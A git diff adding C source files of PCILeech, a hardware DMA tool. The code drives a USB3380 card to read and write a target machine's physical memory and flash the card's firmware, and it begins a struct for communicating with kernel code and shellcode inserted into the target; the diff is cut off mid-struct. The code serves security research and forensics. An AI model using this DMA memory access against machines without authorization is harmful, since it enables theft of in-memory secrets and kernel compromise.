b/pcileech/cpuflash.c @@ -0,0 +1,50 @@ +// cpuflash.c : implementation related to 8051 CPU and EEPROM flashing. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "cpuflash.h" +#include "device.h" + +VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + printf("Flashing firmware ... \n"); + if(!pCfg->cbIn || pCfg->cbIn > 32768) { + printf("Flash failed: failed to open file or invalid size\n"); + return; + } + if(pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1) { + printf("Flash failed: invalid firmware signature or size\n"); + return; + } + result = DeviceFlashEEPROM(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn); + if(!result) { + printf("Flash failed: failed to write firmware to device\n"); + return; + } + printf("SUCCESS!\n"); +} + +VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + printf("Loading 8051 executable and starting ... \n"); + if(!pCfg->cbIn || pCfg->cbIn > 32768) { + printf("8051 startup failed: failed to open file or invalid size\n"); + return; + } + result = Device8051Start(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn); + if(!result) { + printf("8051 startup failed: failed to write executable to device or starting 8051\n"); + return; + } + printf("SUCCESS!\n"); +} + +VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + printf("Stopping 8051 ... \n"); + Device8051Stop(pDeviceData); + printf("SUCCESS!\n"); +} \ No newline at end of file diff --git a/pcileech/cpuflash.h b/pcileech/cpuflash.h new file mode 100644 index 0000000..44ebac3 --- /dev/null +++ b/pcileech/cpuflash.h @@ -0,0 +1,32 @@ +// cpuflash.h : definitions related to 8051 CPU and EEPROM flashing. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __CPUFLASH_H__ +#define __CPUFLASH_H__ +#include "pcileech.h" + +/* +* Flash a new firmware into the onboard memory of the USB3380 card. +* This may be dangerious and the device may stop working after a reflash! +* -- pCfg = The configuration data containing the flash image filename. +* -- pDeviceData +*/ +VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Load a program into the 8051 CPU and start executing it. +* -- pCfg = The configuration data containing the program image filename. +* -- pDeviceData +*/ +VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Stop the onboard 8051 CPU if its running. +* -- pCfg +* -- pDeviceData +*/ +VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +#endif /* __CPUFLASH_H__ */ \ No newline at end of file diff --git a/pcileech/device.c b/pcileech/device.c new file mode 100644 index 0000000..7e941db --- /dev/null +++ b/pcileech/device.c @@ -0,0 +1,362 @@ +// device.c : implementation related to the USB3380 hardware device. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "device.h" +#include "kmd.h" +#include "util.h" +#include + +typedef struct tdEP_INFO { + UCHAR pipe; + WORD rCTL; + WORD rSTAT; + WORD rCOUNT; + WORD rADDR; +} EP_INFO, *PEP_INFO; + +EP_INFO CEP_INFO[3] = { + { .pipe = 0x84,.rCTL = REG_DMACTL_1,.rSTAT = REG_DMASTAT_1,.rCOUNT = REG_DMACOUNT_1,.rADDR = REG_DMAADDR_1 }, + { .pipe = 0x86,.rCTL = REG_DMACTL_2,.rSTAT = REG_DMASTAT_2,.rCOUNT = REG_DMACOUNT_2,.rADDR = REG_DMAADDR_2 }, + { .pipe = 0x88,.rCTL = REG_DMACTL_3,.rSTAT = REG_DMASTAT_3,.rCOUNT = REG_DMACOUNT_3,.rADDR = REG_DMAADDR_3 } +}; + +typedef struct tdThreadDataReadEP { + PDEVICE_DATA pDeviceData; + DWORD dwAddrPci32; + PBYTE pb; + DWORD cb; + BOOL isFinished; + BOOL result; + PEP_INFO pep; +} THREAD_DATA_READ_EP, *PTHREAD_DATA_READ_EP; + +typedef struct _DEVICE_MEMORY_RANGE { + DWORD BaseAddress; + DWORD TopAddress; +} DEVICE_MEMORY_RANGE, *PDEVICE_MEMORY_RANGE; + +#define NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES 2 +DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES] = { + { .BaseAddress = 0x000A0000,.TopAddress = 0x000FFFFF }, // SMM LOWER + { .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE +}; + +BOOL _DeviceIsInReservedMemoryRange(_In_ DWORD dwAddrPci32, _In_ DWORD cb) +{ + PDEVICE_MEMORY_RANGE pmr; + for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) { + pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i]; + if(!((dwAddrPci32 > pmr->TopAddress) || (dwAddrPci32 + cb <= pmr->BaseAddress))) { + return TRUE; + } + } + return FALSE; +} + +BOOL DeviceWriteCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _In_ DWORD dwRegValue, _In_ BYTE fCSR) +{ + DWORD cbTransferred; + PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0x40, .u2 = 0, .u3 = wRegAddr & 0xFF, .u4 = (wRegAddr >> 8) & 0xFF, .dwRegValue = dwRegValue }; + if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned + return WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL); +} + +BOOL DeviceReadCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _Out_ PDWORD pdwRegValue, _In_ BYTE fCSR) +{ + DWORD cbTransferred; + PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0xcf, .u2 = 0, .u3 = wRegAddr & 0xff, .u4 = (wRegAddr >> 8) & 0xff, .dwRegValue = 0 }; + if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned + return + WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL) && + WinUsb_ReadPipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrIn, (PUCHAR)pdwRegValue, 4, &cbTransferred, NULL); +} + +BOOL _DeviceReadDMA_Retry(PTHREAD_DATA_READ_EP ptd) +{ + BOOL result; + DWORD cbTransferred; + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, ptd->dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + DeviceWriteCsr(ptd->pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? + result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); + return result; +} + +VOID _DeviceReadDMA(PTHREAD_DATA_READ_EP ptd) +{ + DWORD cbTransferred; + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, ptd->dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); + if(!ptd->result) { + ptd->result = _DeviceReadDMA_Retry(ptd); + } + ptd->isFinished = TRUE; +} + +BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb) +{ + THREAD_DATA_READ_EP td[3]; + DWORD i, dwChunk; + if(cb % 0x1000) { return FALSE; } + if(cb > 0x01000000) { return FALSE; } + if(_DeviceIsInReservedMemoryRange(dwAddrPci32, cb)) { return FALSE; } + ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3); + if(cb < 0x00300000 || !pDeviceData->IsAllowedMultiThreadDMA) { + if(cb > 0x00800000) { // read max 8MB at a time. + return + DeviceReadDMA(pDeviceData, dwAddrPci32, pb, 0x00800000) && + DeviceReadDMA(pDeviceData, dwAddrPci32 + 0x00800000, pb + 0x00800000, cb - 0x00800000); + } + td[0].pDeviceData = pDeviceData; + td[0].pep = &CEP_INFO[0]; + td[0].dwAddrPci32 = dwAddrPci32; + td[0].pb = pb; + td[0].cb = cb; + _DeviceReadDMA(&td[0]); + return td[0].result; + } else { + dwChunk = (cb / 3) & 0xfffff000; + for(i = 0; i < 3; i++) { + td[i].pDeviceData = pDeviceData; + td[i].pep = &CEP_INFO[i]; + td[i].dwAddrPci32 = dwAddrPci32; dwAddrPci32 += dwChunk; + td[i].pb = pb; pb += dwChunk; + if(i == 2) { + td[i].cb = cb - 2 * dwChunk; + _DeviceReadDMA(&td[i]); + } + else { + td[i].cb = dwChunk; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)_DeviceReadDMA, &td[i], 0, NULL); + } + } + while(!td[0].isFinished || !td[1].isFinished || !td[2].isFinished) { + Sleep(0); + } + return td[0].result && td[1].result && td[2].result; + } +} + +BOOL DeviceReadDMARetryOnFail(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result = DeviceReadDMA(pDeviceData, dwAddrPci32, pb, cb); + return result ? TRUE : DeviceReadDMA(pDeviceData, dwAddrPci32, pb, cb); +} + +BOOL DeviceWriteDMA_Retry(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result; + DWORD cbTransferred; + DeviceWriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH + DeviceWriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE + DeviceWriteCsr(pDeviceData, REG_DMAADDR_0, dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + DeviceWriteCsr(pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? + result = WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, pb, cb, &cbTransferred, NULL); + DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - must be here for 1st transfer to work. + return result; +} + +BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) +{ + if(cb > 0x00ffffff) { return FALSE; } + return DeviceWriteDMA_Retry(pDeviceData, dwAddrPci32, pb, cb) || DeviceWriteDMA_Retry(pDeviceData, dwAddrPci32, pb, cb); +} + +BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) +{ + PBYTE pbV; + BOOL result = DeviceWriteDMA(pDeviceData, dwAddrPci32, pb, cb); + if(!result) { return FALSE; } + pbV = LocalAlloc(0, cb); + if(!pbV) { return FALSE; } + result = DeviceReadDMA(pDeviceData, dwAddrPci32, pbV, cb); + result = result & (0 == memcmp(pb, pbV, cb)); + LocalFree(pbV); + return result; +} + +BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051) +{ + WORD wAddr = 0; + DWORD dwWriteValue; + if(!pbProgram8051 || !cbProgram8051 || cbProgram8051 > 0x7FFF) { return FALSE; } + while(wAddr < cbProgram8051) { + dwWriteValue = *(DWORD*)(pbProgram8051 + wAddr); // TODO: may read out-of-buffer by max 3 bytes + DeviceWriteCsr(pDeviceData, wAddr, dwWriteValue, CSR_CONFIGSPACE_8051 | CSR_BYTEALL); // write 8051 program memory (page 253). + DeviceReadCsr(pDeviceData, wAddr, &dwWriteValue, CSR_CONFIGSPACE_8051); + wAddr += 4; + } + DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); // enable 8051 + dwWriteValue &= 0xFE; + DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); //DEVINIT - START 8051 + return TRUE; +} + +VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData) +{ + DWORD dwWriteValue; + DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); + dwWriteValue |= 0x01; + DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); +} + +BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM) +{ + WORD wAddr = 0; + DWORD dwWriteValue; + if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) { + return FALSE; // too small or too large for 2 byte addressing mode + } + if(pbEEPROM[0] != 0x5a || (pbEEPROM[1] & 0xf8) != 0x00) { + return FALSE; // rudimentary signature sanity check + } + while(wAddr < cbEEPROM) { + // initialize EEPROM for writing + DeviceWriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable + DeviceWriteCsr(pDeviceData, 0x260, 0x00000000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // off + // write data + dwWriteValue = *(DWORD*)(pbEEPROM + wAddr); + DeviceWriteCsr(pDeviceData, 0x264, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTEALL); + // write control register and wait for action to finish + dwWriteValue = 0x03004000 | (wAddr >> 2); + DeviceWriteCsr(pDeviceData, 0x260, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTE0 | CSR_BYTE1 | CSR_BYTE3); // write serial EEPROM buffer (page 250). + while(dwWriteValue & 0xFF000000) { // wait write finish + DeviceReadCsr(pDeviceData, 0x260, &dwWriteValue, CSR_CONFIGSPACE_PCIE); + } + wAddr += 4; + } + return TRUE; +} + +BOOL DeviceRetrievePath(_Out_bytecap_(BufLen) LPWSTR wszDevicePath, _In_ ULONG BufLen) +{ + BOOL result; + HDEVINFO deviceInfo; + SP_DEVICE_INTERFACE_DATA interfaceData; + PSP_DEVICE_INTERFACE_DETAIL_DATA detailData = NULL; + ULONG length, requiredLength = 0; + deviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_android, NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE); + if(deviceInfo == INVALID_HANDLE_VALUE) { + return FALSE; + } + interfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA); + result = SetupDiEnumDeviceInterfaces(deviceInfo, NULL, &GUID_DEVINTERFACE_android, 0, &interfaceData); + if(!result) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, NULL, 0, &requiredLength, NULL); + if(!result && ERROR_INSUFFICIENT_BUFFER != GetLastError()) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + detailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)LocalAlloc(LMEM_FIXED, requiredLength); + if(!detailData) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + detailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA); + length = requiredLength; + result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, detailData, length, &requiredLength, NULL); + if(!result) { + LocalFree(detailData); + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + wcscpy_s(wszDevicePath, BufLen, (LPWSTR)detailData->DevicePath); + LocalFree(detailData); + SetupDiDestroyDeviceInfoList(deviceInfo); + return TRUE; +} + +VOID DeviceOpen_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData) +{ + BOOL boolTRUE = TRUE; + ULONG ulTIMEOUT = 100; // ms + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); +} + +BOOL DeviceOpen(_Out_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + pDeviceData->HandlesOpen = FALSE; + result = DeviceRetrievePath(pDeviceData->DevicePath, MAX_PATH); + if(!result) { + return FALSE; + } + pDeviceData->DeviceHandle = CreateFile(pDeviceData->DevicePath, + GENERIC_WRITE | GENERIC_READ, + FILE_SHARE_WRITE | FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, + NULL); + if(INVALID_HANDLE_VALUE == pDeviceData->DeviceHandle) { + return FALSE; + } + result = WinUsb_Initialize(pDeviceData->DeviceHandle, &pDeviceData->WinusbHandle); + if(!result) { + CloseHandle(pDeviceData->DeviceHandle); + return FALSE; + } + pDeviceData->PipePciIn = 0x8e; // PCI in endpoint on the USB3380 + pDeviceData->PipePciOut = 0x0e; // PCI out endpoint on the USB3380 + pDeviceData->PipeCsrIn = 0x8d; // CSR in endpoint on the USB3380 + pDeviceData->PipeCsrOut = 0x0d; // CSR out endpoint on the USB3380 + pDeviceData->PipeDmaOut = 0x02; // GPEP0 endpoint on the USB3380 + pDeviceData->PipeDmaIn1 = 0x84; // GPEP1 endpoint on the USB3380 + pDeviceData->PipeDmaIn2 = 0x86; // GPEP2 endpoint on the USB3380 + pDeviceData->PipeDmaIn3 = 0x88; // GPEP3 endpoint on the USB3380 + pDeviceData->KMDHandle = NULL; + DeviceOpen_SetPipePolicy(pDeviceData); + pDeviceData->HandlesOpen = TRUE; + pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7. + return TRUE; +} + +VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData) +{ + if(!pDeviceData->HandlesOpen) { + return; + } + WinUsb_Free(pDeviceData->WinusbHandle); + CloseHandle(pDeviceData->DeviceHandle); + pDeviceData->HandlesOpen = FALSE; +} + +BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb) +{ + if(pDeviceData->KMDHandle) { + return KMDWriteMemory(pDeviceData, qwAddr, pb, cb); + } else if(qwAddr + cb > 0xffffffff) { + return FALSE; + } else { + return DeviceWriteDMA(pDeviceData, (DWORD)qwAddr, pb, cb); + } +} + +BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + if(pDeviceData->KMDHandle) { + return KMDReadMemory(pDeviceData, qwAddr, pb, cb); + } else if(qwAddr + cb > 0xffffffff) { + return FALSE; + } else { + return DeviceReadDMA(pDeviceData, (DWORD)qwAddr, pb, cb); + } +} \ No newline at end of file diff --git a/pcileech/device.h b/pcileech/device.h new file mode 100644 index 0000000..787c283 --- /dev/null +++ b/pcileech/device.h @@ -0,0 +1,153 @@ +// device.h : definitions related to the USB3380 hardware device. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __DEVICE_H__ +#define __DEVICE_H__ +#include "pcileech.h" + +#define CSR_BYTE0 0x01 +#define CSR_BYTE1 0x02 +#define CSR_BYTE2 0x04 +#define CSR_BYTE3 0x08 +#define CSR_BYTEALL 0x0f +#define CSR_CONFIGSPACE_PCIE 0x00 +#define CSR_CONFIGSPACE_MEMM 0x10 +#define CSR_CONFIGSPACE_8051 0x20 +#define REG_DMACTL_0 0x180 +#define REG_DMASTAT_0 0x184 +#define REG_DMACOUNT_0 0x190 +#define REG_DMAADDR_0 0x194 +#define REG_FIFOSTAT_0 0x32c +#define REG_DMACTL_1 0x1a0 +#define REG_DMASTAT_1 0x1a4 +#define REG_DMACOUNT_1 0x1b0 +#define REG_DMAADDR_1 0x1b4 +#define REG_DMACTL_2 0x1c0 +#define REG_DMASTAT_2 0x1c4 +#define REG_DMACOUNT_2 0x1d0 +#define REG_DMAADDR_2 0x1d4 +#define REG_DMACTL_3 0x1e0 +#define REG_DMASTAT_3 0x1e4 +#define REG_DMACOUNT_3 0x1f0 +#define REG_DMAADDR_3 0x1f4 +#define REGPCI_STATCMD 0x04 +#define DEVICE_READ_DMA_FLAG_CONTINUE 1 + +/* +* Open a USB connection to the target USB3380 device. +* -- pDeviceData = ptr to DeviceData to receive values on success. +* -- result +*/ +BOOL DeviceOpen(_Out_ PDEVICE_DATA pDeviceData); + +/* +* Clean up various device related stuff and deallocate some meoory buffers. +* -- pDeviceData +*/ +VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData); + +/* +* Flash a new firmware into the onboard memory of the USB3380 card. +* This may be dangerious and the device may stop working after a reflash! +* -- pDeviceData +* -- pbEEPROM = EEPROM data to flash. +* -- cbEEPROM = length of EEPROM data to flash. +* -- return +*/ +BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM); + +/* +* Load a program into the 8051 CPU and start executing it. +* -- pDeviceData +* -- pbProgram8051 = the 8051 binary to execute. +* -- cbProgram8051 = the length of the 8051 binary to execute. +* -- return +*/ +BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051); + +/* +* Stop the onboard 8051 CPU if its running. +* -- pDeviceData +*/ +VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData); + +/* +* Read data from the target system using DMA. +* -- pDeviceData +* -- dwAddrPci32 +* -- pb +* -- cb +* -- return +*/ +BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb); + +/* +* Exactly the same as DeviceReadDMA except that if the call fail another +* attempt will be performed. +* -- pDeviceData +* -- dwAddrPci32 +* -- pb +* -- cb +* -- return +*/ +BOOL DeviceReadDMARetryOnFail(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb); + +/* +* Write data to the target system using DMA. +* -- pDeviceData +* -- dwAddrPci32 +* -- pb +* -- cb +* -- return +*/ +BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* Exactly the same as DeviceWriteDMA except that if the call fail another +* attempt will be performed. +* -- pDeviceData +* -- dwAddrPci32 +* -- pb +* -- cb +* -- return +*/ +BOOL DeviceWriteDMA_Retry(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* First write data using DMA, then verify the data has been correctly written +* by reading the data. NB! If the running target system changes the data +* between the write and the read this call will fail. +* -- pDeviceData +* -- dwAddrPci32 +* -- pb +* -- cb +* -- return +*/ +BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* Write target physical memory. If an KMD is inserted in the target kernel the +* KMD will be used to read the memory, otherwise the memory will be written +* withstandard DMA. Minimum granularity: byte. +* -- pDeviceData +* -- qwAddress = the physical address to write to in the target system. +* -- pb = bytes to write +* -- cb = number of bytes to write. +* -- return TRUE on success, otherwise FALSE. +*/ +BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* Read target physical memory. If an KMD is inserted in the target kernel the +* KMD will be used to read the memory, otherwise the memory will be read with +* standard DMA. Minimum granularity: page (4kB) +* -- pDeviceData +* -- qwAddress = physical address in target system to read. +* -- pb = pre-allocated buffer to place result in. +* -- cb = length of data to read, must not be larger than pb. +*/ +BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb); + +#endif /* __DEVICE_H__ */ \ No newline at end of file diff --git a/pcileech/kmd.c b/pcileech/kmd.c new file mode 100644 index 0000000..a85da66 --- /dev/null +++ b/pcileech/kmd.c @@ -0,0 +1,907 @@ +// kmd.c : implementation related to operating systems kernel modules functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "kmd.h" +#include "device.h" +#include "util.h" +#include "consoleredir.h" + +typedef struct _PHYSICAL_MEMORY_RANGE { + QWORD BaseAddress; + QWORD NumberOfBytes; +} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; + +#define KMDDATA_OPERATING_SYSTEM_WINDOWS 0x01 +#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02 +#define KMDDATA_OPERATING_SYSTEM_OSX 0x04 + +/* +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 002 +*/ +typedef struct tdKMDDATA { + QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/OSX). + QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). + QWORD DMASizeBuffer; // [0x018] size of DMA buffer. + QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. + QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] virtual address to operate on. + QWORD _size; // [0x048] size of operation / data in DMA buffer. + QWORD OperatingSystem; // [0x050] operating system type + QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD dataInExtraLength; // [0x100] length of extra in-data. + QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. + QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. + QWORD dataIn[28]; // [0x120] + QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. + QWORD dataOut[28]; // [0x220] + PVOID fn[32]; // [0x300] used by shellcode to store function pointers. + CHAR dataInStr[MAX_PATH]; // [0x400] string in-data + CHAR 